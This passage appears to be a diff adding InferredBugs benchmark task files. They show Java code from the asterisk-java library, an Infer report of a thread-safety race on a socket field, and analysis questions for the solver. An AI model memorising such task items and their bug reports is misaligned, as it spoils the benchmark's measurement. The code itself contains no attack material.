+                        + listener.getClass().getName(), e);
+            }
+        }
+    }
+
+    /**
+     * This method is called by the reader whenever a ManagerEvent is received.
+     * The event is dispatched to all registered ManagerEventHandlers.
+     * 
+     * @param event the event received by the reader
+     * @see #addEventListener(ManagerEventListener)
+     * @see #removeEventListener(ManagerEventListener)
+     * @see ManagerReader
+     */
+    public void dispatchEvent(ManagerEvent event)
+    {
+        // shouldn't happen
+        if (event == null)
+        {
+            logger.error("Unable to dispatch null event. This should never happen. Please file a bug.");
+            return;
+        }
+
+        logger.debug("Dispatching event:\n" + event.toString());
+
+        // Some events need special treatment besides forwarding them to the
+        // registered eventListeners (clients)
+        // These events are handled here at first:
+
+        // Dispatch ResponseEvents to the appropriate responseEventListener
+        if (event instanceof ResponseEvent)
+        {
+            ResponseEvent responseEvent;
+            String internalActionId;
+
+            responseEvent = (ResponseEvent) event;
+            internalActionId = responseEvent.getInternalActionId();
+            if (internalActionId != null)
+            {
+                synchronized (responseEventListeners)
+                {
+                    ManagerEventListener listener;
+
+                    listener = responseEventListeners.get(internalActionId);
+                    if (listener != null)
+                    {
+                        try
+                        {
+                            listener.onManagerEvent(event);
+                        }
+                        catch (Exception e)
+                        {
+                            logger.warn("Unexpected exception in response event listener "
+                                    + listener.getClass().getName(), e);
+                        }
+                    }
+                }
+            }
+            else
+            {
+                // ResponseEvent without internalActionId:
+                // this happens if the same event class is used as response event
+                // and as an event that is not triggered by a Manager command
+                // Example: QueueMemberStatusEvent.
+                //logger.debug("ResponseEvent without "
+                //        + "internalActionId:\n" + responseEvent);
+            }
+        }
+        if (event instanceof DisconnectEvent)
+        {
+            // When we receive get disconnected while we are connected start
+            // a new reconnect thread and set the state to RECONNECTING.
+            if (state == CONNECTED)
+            {
+                state = RECONNECTING;
+                // close socket if still open and remove reference to readerThread
+                // After sending the DisconnectThread that thread will die anyway.
+                cleanup();
+                reconnectThread = new Thread(new Runnable()
+                {
+                    public void run()
+                    {
+                        reconnect();
+                    }
+                });
+                reconnectThread.setName("ManagerConnection-" + id + "-Reconnect-" + reconnectThreadCounter.getAndIncrement());
+                reconnectThread.setDaemon(true);
+                reconnectThread.start();
+                // now the DisconnectEvent is dispatched to registered eventListeners
+                // (clients) and after that the ManagerReaderThread is gone.
+                // So effectively we replaced the reader thread by a ReconnectThread.
+            }
+            else
+            {
+                // when we receive a DisconnectEvent while not connected we
+                // ignore it and do not send it to clients
+                return;
+            }
+        }
+        if (event instanceof ProtocolIdentifierReceivedEvent)
+        {
+            ProtocolIdentifierReceivedEvent protocolIdentifierReceivedEvent;
+            String protocolIdentifier;
+
+            protocolIdentifierReceivedEvent = (ProtocolIdentifierReceivedEvent) event;
+            protocolIdentifier = protocolIdentifierReceivedEvent.getProtocolIdentifier();
+            setProtocolIdentifier(protocolIdentifier);
+            // no need to send this event to clients
+            return;
+        }
+
+        fireEvent(event);
+    }
+
+    /**
+     * Notifies all {@link ManagerEventListener}s registered by users.
+     * 
+     * @param event the event to propagate
+     */
+    private void fireEvent(ManagerEvent event)
+    {
+        synchronized (eventListeners)
+        {
+            for (ManagerEventListener listener : eventListeners)
+            {
+                try
+                {
+                    listener.onManagerEvent(event);
+                }
+                catch (RuntimeException e)
+                {
+                    logger.warn("Unexpected exception in eventHandler "
+                            + listener.getClass().getName(), e);
+                }
+            }
+        }
+    }
+
+    /**
+     * This method is called when a {@link ProtocolIdentifierReceivedEvent} is received 
+     * from the reader. Having received a correct protocol identifier is the precodition
+     * for logging in.
+     * 
+     * @param identifier the protocol version used by the Asterisk
+     *            server.
+     */
+    private void setProtocolIdentifier(final String identifier)
+    {
+        logger.info("Connected via " + identifier);
+
+        if (!"Asterisk Call Manager/1.0".equals(identifier) &&
+            !"Asterisk Call Manager/1.2".equals(identifier))
+        {
+            logger.warn("Unsupported protocol version '" + identifier
+                    + "'. Use at your own risk.");
+        }
+
+        synchronized (protocolIdentifier)
+        {
+            protocolIdentifier.value = identifier;
+            protocolIdentifier.notify();
+        }
+    }
+
+    /**
+     * Reconnects to the asterisk server when the connection is lost.<p>
+     * While keepAlive is <code>true</code> we will try to reconnect.
+     * Reconnection attempts will be stopped when the {@link #logoff()} method
+     * is called or when the login after a successful reconnect results in an
+     * {@link AuthenticationFailedException} suggesting that the manager
+     * credentials have changed and keepAliveAfterAuthenticationFailure is not
+     * set.<p>
+     * This method is called when a {@link DisconnectEvent} is received from the
+     * reader.
+     */
+    private void reconnect()
+    {
+        int numTries;
+
+        // try to reconnect
+        numTries = 0;
+        while (state == RECONNECTING)
+        {
+            try
+            {
+                if (numTries < 10)
+                {
+                    // try to reconnect quite fast for the firt 10 times
+                    // this succeeds if the server has just been restarted
+                    Thread.sleep(RECONNECTION_INTERVAL_1);
+                }
+                else
+                {
+                    // slow down after 10 unsuccessful attempts asuming a
+                    // shutdown of the server
+                    Thread.sleep(RECONNECTION_INTERVAL_2);
+                }
+            }
+            catch (InterruptedException e1)
+            {
+                // ignore
+            }
+
+            try
+            {
+                connect();
+
+                try
+                {
+                    doLogin(defaultResponseTimeout, eventMask);
+                    logger.info("Successfully reconnected.");
+                    // everything is ok again, so we leave
+                    // when successful doLogin set the state to CONNECTED so no need to adjust it 
+                    break;
+                }
+                catch (AuthenticationFailedException e1)
+                {
+                    if (keepAliveAfterAuthenticationFailure)
+                    {
+                        logger.error("Unable to log in after reconnect: "
+                                + e1.getMessage());
+                    }
+                    else
+                    {
+                        logger.error("Unable to log in after reconnect: "
+                                + e1.getMessage() + ". Giving up.");
+                        state = DISCONNECTED;
+                    }
+                }
+                catch (TimeoutException e1)
+                {
+                    // shouldn't happen - but happens!
+                    logger.error("TimeoutException while trying to log in "
+                            + "after reconnect.");
+                }
+            }
+            catch (IOException e)
+            {
+                // server seems to be still down, just continue to attempt
+                // reconnection
+                logger.warn("Exception while trying to reconnect: "
+                        + e.getMessage());
+            }
+            numTries++;
+        }
+    }
+
+    private void cleanup()
+    {
+        disconnect();
+        this.readerThread = null;
+    }
+
+    public String toString()
+    {
+        StringBuffer sb;
+
+        sb = new StringBuffer("ManagerConnection[");
+        sb.append("id='" + id + "',");
+        sb.append("hostname='" + hostname + "',");
+        sb.append("port=" + port + ",");
+        sb.append("systemHashcode=" + System.identityHashCode(this));
+
+        return sb.toString();
+    }
+    
+    /* Helper classes */
+
+    /**
+     * A simple data object to store a ManagerResult.
+     */
+    private class ResponseHandlerResult implements Serializable
+    {
+        /**
+         * Serializable version identifier
+         */
+        private static final long serialVersionUID = 7831097958568769220L;
+        private ManagerResponse response;
+
+        public ResponseHandlerResult()
+        {
+        }
+
+        public ManagerResponse getResponse()
+        {
+            return this.response;
+        }
+
+        public void setResponse(ManagerResponse response)
+        {
+            this.response = response;
+        }
+    }
+
+    /**
+     * A simple response handler that stores the received response in a
+     * ResponseHandlerResult for further processing.
+     */
+    private class DefaultResponseListener
+            implements
+                ManagerResponseListener,
+                Serializable
+    {
+        /**
+         * Serializable version identifier
+         */
+        private static final long serialVersionUID = 2926598671855316803L;
+        private ResponseHandlerResult result;
+
+        /**
+         * Creates a new instance.
+         * 
+         * @param result the result to store the response in
+         */
+        public DefaultResponseListener(ResponseHandlerResult result)
+        {
+            this.result = result;
+        }
+
+        public void onManagerResponse(ManagerResponse response)
+        {
+            synchronized (result)
+            {
+                result.setResponse(response);
+                result.notify();
+            }
+        }
+    }
+
+    /**
+     * A combinded event and response handler that adds received events and the
+     * response to a ResponseEvents object.
+     */
+    @SuppressWarnings("unchecked")
+    private class ResponseEventHandler
+            implements
+                ManagerEventListener,
+                ManagerResponseListener,
+                Serializable
+    {
+        /**
+         * Serializable version identifier
+         */
+        private static final long serialVersionUID = 2926598671855316803L;
+        private final ResponseEventsImpl events;
+        private final Class actionCompleteEventClass;
+
+        /**
+         * Creates a new instance.
+         * 
+         * @param events the ResponseEventsImpl to store the events in
+         * @param actionCompleteEventClass the type of event that indicates that
+         *            all events have been received
+         * @param thread the thread to interrupt when the
+         *            actionCompleteEventClass has been received
+         */
+        public ResponseEventHandler(ResponseEventsImpl events,
+                Class actionCompleteEventClass)
+        {
+            this.events = events;
+            this.actionCompleteEventClass = actionCompleteEventClass;
+        }
+
+        public void onManagerEvent(ManagerEvent event)
+        {
+            synchronized (events)
+            {
+                // should always be a ResponseEvent, anyway...
+                if (event instanceof ResponseEvent)
+                {
+                    ResponseEvent responseEvent;
+    
+                    responseEvent = (ResponseEvent) event;
+                    events.addEvent(responseEvent);
+                }
+
+                // finished?
+                if (actionCompleteEventClass.isAssignableFrom(event.getClass()))
+                {
+                    events.setComplete(true);
+                    // notify if action complete event and response have been received
+                    if (events.getResponse() != null)
+                    {
+                        events.notify();
+                    }
+                }
+            }
+        }
+
+        public void onManagerResponse(ManagerResponse response)
+        {
+            synchronized (events)
+            {
+                events.setRepsonse(response);
+                if (response instanceof ManagerError)
+                {
+                    events.setComplete(true);
+                }
+
+                // finished?
+                // notify if action complete event and response have been received
+                if (events.isComplete())
+                {
+                    events.notify();
+                }
+            }
+        }
+    }
+
+    private class ProtocolIdentifierWrapper
+    {
+        String value;
+    }
+
+    // to be removed in 0.4
+
+    @SuppressWarnings("deprecation") 
+    private class ManagerResponseListenerAdapter implements ManagerResponseListener
+    {
+        ManagerResponseHandler handler;
+
+        public ManagerResponseListenerAdapter(ManagerResponseHandler handler)
+        {
+            this.handler = handler;
+        }
+
+        public void onManagerResponse(ManagerResponse response)
+        {
+            handler.handleResponse(response);
+        }
+    }
+
+    @SuppressWarnings("deprecation") 
+    private class ManagerEventListenerAdapter implements ManagerEventListener
+    {
+        ManagerEventHandler handler;
+
+        public ManagerEventListenerAdapter(ManagerEventHandler handler)
+        {
+            this.handler = handler;
+        }
+
+        public void onManagerEvent(ManagerEvent event)
+        {
+            handler.handleEvent(event);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.asteriskjava.manager.internal.ManagerConnectionImpl.sendEventGeneratingAction` reads without synchronization from `this.org.asteriskjava.manager.internal.ManagerConnectionImpl.socket`. Potentially races with write in method `ManagerConnectionImpl.logoff()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ResponseEvents ManagerConnectionImpl.sendEventGeneratingAction(EventGeneratingAction,long)
+
+### Procedure Id:
+org.asteriskjava.manager.internal.ManagerConnectionImpl.sendEventGeneratingAction(org.asteriskjava.m.ca1151c2dcfa54db12be17341d62c18d
+
+### File:
+src/main/java/org/asteriskjava/manager/internal/ManagerConnectionImpl.java
+
+### Key:
+ManagerConnectionImpl.java|sendEventGeneratingAction|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+bd68d3956ea1c4cf7a334768fc8d8b09
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6267/instruction.md b/inferredbugs-6267/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0f80d03185a6f544ee0d3ac65f829278ce2310d3
--- /dev/null
+++ b/inferredbugs-6267/instruction.md
@@ -0,0 +1,875 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** asterisk-java
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2004-2006 Stefan Reuter
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ *
+ */
+package org.asteriskjava.live.internal;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicLong;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.asteriskjava.live.AsteriskChannel;
+import org.asteriskjava.live.AsteriskQueue;
+import org.asteriskjava.live.AsteriskServer;
+import org.asteriskjava.live.AsteriskServerListener;
+import org.asteriskjava.live.CallerId;
+import org.asteriskjava.live.ChannelState;
+import org.asteriskjava.live.HangupCause;
+import org.asteriskjava.live.ManagerCommunicationException;
+import org.asteriskjava.live.MeetMeRoom;
+import org.asteriskjava.live.MeetMeUser;
+import org.asteriskjava.live.OriginateCallback;
+import org.asteriskjava.manager.AuthenticationFailedException;
+import org.asteriskjava.manager.ManagerConnection;
+import org.asteriskjava.manager.ManagerConnectionState;
+import org.asteriskjava.manager.ManagerEventListener;
+import org.asteriskjava.manager.ManagerEventListenerProxy;
+import org.asteriskjava.manager.ResponseEvents;
+import org.asteriskjava.manager.action.CommandAction;
+import org.asteriskjava.manager.action.EventGeneratingAction;
+import org.asteriskjava.manager.action.GetVarAction;
+import org.asteriskjava.manager.action.ManagerAction;
+import org.asteriskjava.manager.action.OriginateAction;
+import org.asteriskjava.manager.action.SetVarAction;
+import org.asteriskjava.manager.event.AbstractMeetMeEvent;
+import org.asteriskjava.manager.event.AbstractOriginateEvent;
+import org.asteriskjava.manager.event.CdrEvent;
+import org.asteriskjava.manager.event.ConnectEvent;
+import org.asteriskjava.manager.event.DialEvent;
+import org.asteriskjava.manager.event.DisconnectEvent;
+import org.asteriskjava.manager.event.HangupEvent;
+import org.asteriskjava.manager.event.JoinEvent;
+import org.asteriskjava.manager.event.LeaveEvent;
+import org.asteriskjava.manager.event.LinkEvent;
+import org.asteriskjava.manager.event.ManagerEvent;
+import org.asteriskjava.manager.event.NewCallerIdEvent;
+import org.asteriskjava.manager.event.NewChannelEvent;
+import org.asteriskjava.manager.event.NewExtenEvent;
+import org.asteriskjava.manager.event.NewStateEvent;
+import org.asteriskjava.manager.event.RenameEvent;
+import org.asteriskjava.manager.event.ResponseEvent;
+import org.asteriskjava.manager.event.UnlinkEvent;
+import org.asteriskjava.manager.response.CommandResponse;
+import org.asteriskjava.manager.response.ManagerError;
+import org.asteriskjava.manager.response.ManagerResponse;
+import org.asteriskjava.util.Log;
+import org.asteriskjava.util.LogFactory;
+
+/**
+ * Default implementation of the {@link AsteriskServer} interface.
+ * 
+ * @author srt
+ * @version $Id$
+ */
+public class AsteriskServerImpl
+        implements
+            AsteriskServer,
+            ManagerEventListener
+{
+    private static final String ACTION_ID_PREFIX_ORIGINATE = "AJ_ORIGINATE_";
+    private static final Pattern SHOW_VERSION_FILES_PATTERN = 
+        Pattern.compile("^([\\S]+)\\s+Revision: ([0-9\\.]+)");
+
+    private final Log logger = LogFactory.getLog(this.getClass());
+
+    /**
+     * The underlying manager connection used to receive events from Asterisk.
+     */
+    private ManagerConnection eventConnection;
+
+    /**
+     * A pool of manager connections to use for sending actions to Asterisk.
+     */
+    private final ManagerConnectionPool connectionPool;
+
+    private final List<AsteriskServerListener> listeners;
+
+    private final ChannelManager channelManager;
+    private final MeetMeManager meetMeManager;
+    private final QueueManager queueManager;
+
+    /**
+     * The version of the Asterisk server we are connected to.<p>
+     * Contains <code>null</code> until lazily initialized.
+     */
+    private String version;
+
+    /**
+     * Holds the version of Asterisk's source files.<p>
+     * That corresponds to the output of the CLI command
+     * <code>show version files</code>.<p>
+     * Contains <code>null</code> until lazily initialized.
+     */
+    private Map<String, String> versions;
+
+    private final Map<String, OriginateCallback> originateCallbacks;
+
+    private final AtomicLong idCounter;
+
+    /* config options */
+
+    /**
+     * Flag to skip initializing queues as that results in a timeout on Asterisk
+     * 1.0.x.
+     */
+    private boolean skipQueues;
+
+    /**
+     * Set to <code>true</code> to not handle ManagerEvents in the reader tread but
+     * process them asynchronously.
+     * This is a good idea :)
+     */
+    private boolean asyncEventHandling = true;
+
+    /**
+     * Creates a new instance.
+     */
+    public AsteriskServerImpl()
+    {
+        connectionPool = new ManagerConnectionPool(1);
+        idCounter = new AtomicLong();
+        listeners = new ArrayList<AsteriskServerListener>();
+        originateCallbacks = new HashMap<String, OriginateCallback>();
+        channelManager = new ChannelManager(this);
+        meetMeManager = new MeetMeManager(this, channelManager);
+        queueManager = new QueueManager(this, channelManager);
+    }
+
+    /**
+     * Creates a new instance.
+     * 
+     * @param eventConnection the ManagerConnection to use for receiving events from Asterisk.
+     */
+    public AsteriskServerImpl(ManagerConnection eventConnection)
+    {
+        this();
+        this.eventConnection = eventConnection;
+        connectionPool.add(eventConnection);
+    }
+
+    /**
+     * Determines if queue status is retrieved at startup. If you don't need
+     * queue information and still run Asterisk 1.0.x you can set this to
+     * <code>true</code> to circumvent the startup delay caused by the missing
+     * QueueStatusComplete event.<p>
+     * Default is <code>false</code>.
+     * 
+     * @param skipQueues <code>true</code> to skip queue initialization,
+     *            <code>false</code> to not skip.
+     * @since 0.2
+     */
+    public void setSkipQueues(boolean skipQueues)
+    {
+        this.skipQueues = skipQueues;
+    }
+
+    public void setManagerConnection(ManagerConnection eventConnection)
+    {
+        this.eventConnection = eventConnection;
+        this.connectionPool.clear();
+        this.connectionPool.add(eventConnection);
+    }
+
+    public void initialize() throws AuthenticationFailedException, ManagerCommunicationException
+    {
+        if (eventConnection.getState() == ManagerConnectionState.INITIAL ||
+            eventConnection.getState() == ManagerConnectionState.DISCONNECTED)
+        {
+            try
+            {
+                eventConnection.login();
+            }
+            catch (Exception e)
+            {
+                throw new ManagerCommunicationException("Unable to login", e);
+            }
+        }
+
+        channelManager.initialize();
+        meetMeManager.initialize();
+        if (!skipQueues)
+        {
+            queueManager.initialize();
+        }
+
+        if (asyncEventHandling)
+        {
+            eventConnection.addEventListener(new ManagerEventListenerProxy(this));
+        }
+        else
+        {
+            eventConnection.addEventListener(this);
+        }
+    }
+
+    /* Implementation of the AsteriskServer interface */
+
+    public AsteriskChannel originateToExtension(String channel, String context, String exten, int priority, long timeout) throws ManagerCommunicationException
+    {
+        return originateToExtension(channel, context, exten, priority, timeout, null, null);
+    }
+
+    public AsteriskChannel originateToExtension(String channel, String context, String exten, int priority, long timeout, CallerId callerId, Map<String, String> variables) throws ManagerCommunicationException
+    {
+        final OriginateAction originateAction;
+
+        originateAction = new OriginateAction();
+        originateAction.setChannel(channel);
+        originateAction.setContext(context);
+        originateAction.setExten(exten);
+        originateAction.setPriority(priority);
+        originateAction.setTimeout(timeout);
+        if (callerId != null)
+        {
+            originateAction.setCallerId(callerId.toString());
+        }
+        originateAction.setVariables(variables);
+
+        return originate(originateAction);
+    }
+
+    public AsteriskChannel originateToApplication(String channel, String application, String data, long timeout) throws ManagerCommunicationException
+    {
+        return originateToApplication(channel, application, data, timeout, null, null);
+    }
+
+    public AsteriskChannel originateToApplication(String channel, String application, String data, long timeout, CallerId callerId, Map<String, String> variables) throws ManagerCommunicationException
+    {
+        final OriginateAction originateAction;
+
+        originateAction = new OriginateAction();
+        originateAction.setChannel(channel);
+        originateAction.setApplication(application);
+        originateAction.setData(data);
+        originateAction.setTimeout(timeout);
+        if (callerId != null)
+        {
+            originateAction.setCallerId(callerId.toString());
+        }
+        originateAction.setVariables(variables);
+
+        return originate(originateAction);
+    }
+
+    private AsteriskChannel originate(OriginateAction originateAction) throws ManagerCommunicationException
+    {
+        final ResponseEvents responseEvents;
+        final Iterator<ResponseEvent> responseEventIterator;
+        final Map<String, String> variables;
+
+        if (originateAction.getVariables() == null)
+        {
+            variables = new HashMap<String, String>();
+        }
+        else
+        {
+            variables = new HashMap<String, String>(originateAction.getVariables());
+        }
+        variables.put("__AJ_TRACE_ID", "trace me!");
+        originateAction.setVariables(variables);
+        // must set async to true to receive OriginateEvents.
+        originateAction.setAsync(Boolean.TRUE);
+
+        // 2000 ms extra for the OriginateFailureEvent should be fine
+        responseEvents = sendEventGeneratingAction(originateAction,
+                originateAction.getTimeout() + 2000);
+
+        responseEventIterator = responseEvents.getEvents().iterator();
+        if (responseEventIterator.hasNext())
+        {
+            ResponseEvent responseEvent;
+
+            responseEvent = responseEventIterator.next();
+            if (responseEvent instanceof AbstractOriginateEvent)
+            {
+                return getChannelById(((AbstractOriginateEvent) responseEvent).getUniqueId()); 
+            }
+        }
+
+        return null;
+    }
+
+    public void originateToExtensionAsync(String channel, String context, String exten, int priority, long timeout, OriginateCallback cb) throws ManagerCommunicationException
+    {
+        originateToExtensionAsync(channel, context, exten, priority, timeout, null, null, cb);
+    }
+
+    public void originateToExtensionAsync(String channel, String context, String exten, int priority, long timeout, CallerId callerId, Map<String, String> variables, OriginateCallback cb) throws ManagerCommunicationException
+    {
+        final OriginateAction originateAction;
+
+        originateAction = new OriginateAction();
+        originateAction.setChannel(channel);
+        originateAction.setContext(context);
+        originateAction.setExten(exten);
+        originateAction.setPriority(priority);
+        originateAction.setTimeout(timeout);
+        if (callerId != null)
+        {
+            originateAction.setCallerId(callerId.toString());
+        }
+        originateAction.setVariables(variables);
+
+        originateAsync(originateAction, cb);
+    }
+
+    public void originateToApplicationAsync(String channel, String application, String data, long timeout, OriginateCallback cb) throws ManagerCommunicationException
+    {
+        originateToApplicationAsync(channel, application, data, timeout, null, null, cb);
+    }
+
+    public void originateToApplicationAsync(String channel, String application, String data, long timeout, CallerId callerId, Map<String, String> variables, OriginateCallback cb) throws ManagerCommunicationException
+    {
+        final OriginateAction originateAction;
+
+        originateAction = new OriginateAction();
+        originateAction.setChannel(channel);
+        originateAction.setApplication(application);
+        originateAction.setData(data);
+        originateAction.setTimeout(timeout);
+        if (callerId != null)
+        {
+            originateAction.setCallerId(callerId.toString());
+        }
+        originateAction.setVariables(variables);
+
+        originateAsync(originateAction, cb);
+    }
+
+    private void originateAsync(OriginateAction originateAction, OriginateCallback cb) throws ManagerCommunicationException
+    {
+        final String actionId;
+
+        actionId = ACTION_ID_PREFIX_ORIGINATE + idCounter.getAndIncrement();
+        // must set async to true to receive OriginateEvents.
+        originateAction.setAsync(Boolean.TRUE);
+        originateAction.setActionId(actionId);
+
+        if (cb != null)
+        {
+            // register callback
+            synchronized (originateCallbacks)
+            {
+                originateCallbacks.put(actionId, cb);
+            }
+        }
+
+        sendActionOnEventConnection(originateAction);
+    }
+
+    public Collection<AsteriskChannel> getChannels()
+    {
+        return channelManager.getChannels();
+    }
+
+    public AsteriskChannel getChannelByName(String name)
+    {
+        return channelManager.getChannelImplByName(name);
+    }
+
+    public AsteriskChannel getChannelById(String id)
+    {
+        return channelManager.getChannelImplById(id);
+    }
+
+    public Collection<MeetMeRoom> getMeetMeRooms()
+    {
+        return meetMeManager.getMeetMeRooms();
+    }
+
+    public MeetMeRoom getMeetMeRoom(String name)
+    {
+        return meetMeManager.getOrCreateRoomImpl(name);
+    }
+
+    public Collection<AsteriskQueue> getQueues()
+    {
+        return queueManager.getQueues();
+    }
+
+    public synchronized String getVersion() throws ManagerCommunicationException
+    {
+        final ManagerResponse response;
+
+        if (version == null)
+        {
+            response = sendAction(new CommandAction("show version"));
+            if (response instanceof CommandResponse)
+            {
+                final List result;
+
+                result = ((CommandResponse) response).getResult();
+                if (result.size() > 0)
+                {
+                    version = (String) result.get(0);
+                }
+            }
+        }
+
+        return version;
+    }
+
+    public int[] getVersion(String file)
+    {
+        String fileVersion = null;
+        String[] parts;
+        int[] intParts;
+
+        if (versions == null)
+        {
+            Map<String, String> map;
+            ManagerResponse response;
+
+            map = new HashMap<String, String>();
+            try
+            {
+                response = sendAction(new CommandAction("show version files"));
+                if (response instanceof CommandResponse)
+                {
+                    List<String> result;
+
+                    result = ((CommandResponse) response).getResult();
+                    for (int i = 2; i < result.size(); i++)
+                    {
+                        String line;
+                        Matcher matcher;
+
+                        line = (String) result.get(i);
+                        matcher = SHOW_VERSION_FILES_PATTERN.matcher(line);
+                        if (matcher.find())
+                        {
+                            String key = matcher.group(1);
+                            String value = matcher.group(2);
+
+                            map.put(key, value);
+                        }
+                    }
+
+                    fileVersion = (String) map.get(file);
+                    versions = map;
+                }
+            }
+            catch (Exception e)
+            {
+                logger.warn("Unable to send 'show version files' command.", e);
+            }
+        }
+        else
+        {
+            synchronized (versions)
+            {
+                fileVersion = versions.get(file);
+            }
+        }
+
+        if (fileVersion == null)
+        {
+            return null;
+        }
+
+        parts = fileVersion.split("\\.");
+        intParts = new int[parts.length];
+
+        for (int i = 0; i < parts.length; i++)
+        {
+            try
+            {
+                intParts[i] = Integer.parseInt(parts[i]);
+            }
+            catch (NumberFormatException e)
+            {
+                intParts[i] = 0;
+            }
+        }
+
+        return intParts;
+    }
+
+    public String getGlobalVariable(String variable) throws ManagerCommunicationException
+    {
+        ManagerResponse response;
+        String value;
+
+        response = sendAction(new GetVarAction(variable));
+        if (response instanceof ManagerError)
+        {
+            return null;
+        }
+        value = response.getAttribute("Value");
+        if (value == null)
+        {
+            value = response.getAttribute(variable); // for Asterisk 1.0.x
+        }
+        return value;
+    }
+
+    public void setGlobalVariable(String variable, String value) throws ManagerCommunicationException
+    {
+        ManagerResponse response;
+
+        response = sendAction(new SetVarAction(variable, value));
+        if (response instanceof ManagerError)
+        {
+            logger.error("Unable to set global variable '" + variable + "' to '" + value + "':" + response.getMessage());
+        }
+    }
+
+    public void addAsteriskServerListener(AsteriskServerListener listener)
+    {
+        synchronized (listeners)
+        {
+            listeners.add(listener);
+        }
+    }
+
+    public void removeAsteriskServerListener(AsteriskServerListener listener)
+    {
+        synchronized (listeners)
+        {
+            listeners.remove(listener);
+        }
+    }
+
+    void fireNewAsteriskChannel(AsteriskChannel channel)
+    {
+        synchronized (listeners)
+        {
+            for (AsteriskServerListener listener : listeners)
+            {
+                try
+                {
+                    listener.onNewAsteriskChannel(channel);
+                }
+                catch (Exception e)
+                {
+                    logger.warn("Exception in onNewAsteriskChannel()", e);
+                }
+            }
+        }
+    }
+
+    void fireNewMeetMeUser(MeetMeUser user)
+    {
+        synchronized (listeners)
+        {
+            for (AsteriskServerListener listener : listeners)
+            {
+                try
+                {
+                    listener.onNewMeetMeUser(user);
+                }
+                catch (Exception e)
+                {
+                    logger.warn("Exception in onNewMeetMeUser()", e);
+                }
+            }
+        }
+    }
+
+    ManagerResponse sendActionOnEventConnection(ManagerAction action) throws ManagerCommunicationException
+    {
+        try
+        {
+            return eventConnection.sendAction(action);
+        }
+        catch (Exception e)
+        {
+            throw ManagerCommunicationExceptionMapper.mapSendActionException(action.getAction(), e);
+        }
+    }
+
+    ManagerResponse sendAction(ManagerAction action) throws ManagerCommunicationException
+    {
+        return connectionPool.sendAction(action);
+    }
+
+    ResponseEvents sendEventGeneratingAction(EventGeneratingAction action) throws ManagerCommunicationException
+    {
+        return connectionPool.sendEventGeneratingAction(action);
+    }
+
+    ResponseEvents sendEventGeneratingAction(EventGeneratingAction action, long timeout) throws ManagerCommunicationException
+    {
+        return connectionPool.sendEventGeneratingAction(action, timeout);
+    }
+
+    /* Implementation of the ManagerEventListener interface */
+
+    /**
+     * Handles all events received from the Asterisk server.<p>
+     * Events are queued until channels and queues are initialized and then
+     * delegated to the dispatchEvent method.
+     */
+    public void onManagerEvent(ManagerEvent event)
+    {
+        if (event instanceof ConnectEvent)
+        {
+            handleConnectEvent((ConnectEvent) event);
+        }
+        else if (event instanceof DisconnectEvent)
+        {
+            handleDisconnectEvent((DisconnectEvent) event);
+        }
+        else if (event instanceof NewChannelEvent)
+        {
+            channelManager.handleNewChannelEvent((NewChannelEvent) event);
+        }
+        else if (event instanceof NewExtenEvent)
+        {
+            channelManager.handleNewExtenEvent((NewExtenEvent) event);
+        }
+        else if (event instanceof NewStateEvent)
+        {
+            channelManager.handleNewStateEvent((NewStateEvent) event);
+        }
+        else if (event instanceof NewCallerIdEvent)
+        {
+            channelManager.handleNewCallerIdEvent((NewCallerIdEvent) event);
+        }
+        else if (event instanceof DialEvent)
+        {
+            channelManager.handleDialEvent((DialEvent) event);
+        }
+        else if (event instanceof LinkEvent)
+        {
+            channelManager.handleLinkEvent((LinkEvent) event);
+        }
+        else if (event instanceof UnlinkEvent)
+        {
+            channelManager.handleUnlinkEvent((UnlinkEvent) event);
+        }
+        else if (event instanceof RenameEvent)
+        {
+            channelManager.handleRenameEvent((RenameEvent) event);
+        }
+        else if (event instanceof HangupEvent)
+        {
+            channelManager.handleHangupEvent((HangupEvent) event);
+        }
+        else if (event instanceof CdrEvent)
+        {
+            channelManager.handleCdrEvent((CdrEvent) event);
+        }
+        else if (event instanceof JoinEvent)
+        {
+            queueManager.handleJoinEvent((JoinEvent) event);
+        }
+        else if (event instanceof LeaveEvent)
+        {
+            queueManager.handleLeaveEvent((LeaveEvent) event);
+        }
+        else if (event instanceof AbstractMeetMeEvent)
+        {
+            meetMeManager.handleMeetMeEvent((AbstractMeetMeEvent) event);
+        }
+        else if (event instanceof AbstractOriginateEvent)
+        {
+            handleOriginateEvent((AbstractOriginateEvent) event);
+        }
+    }
+
+    /*
+     * Resets the internal state when the connection to the asterisk server is
+     * lost.
+     */
+    private void handleDisconnectEvent(DisconnectEvent disconnectEvent)
+    {
+        // reset version information as it might have changed while Asterisk
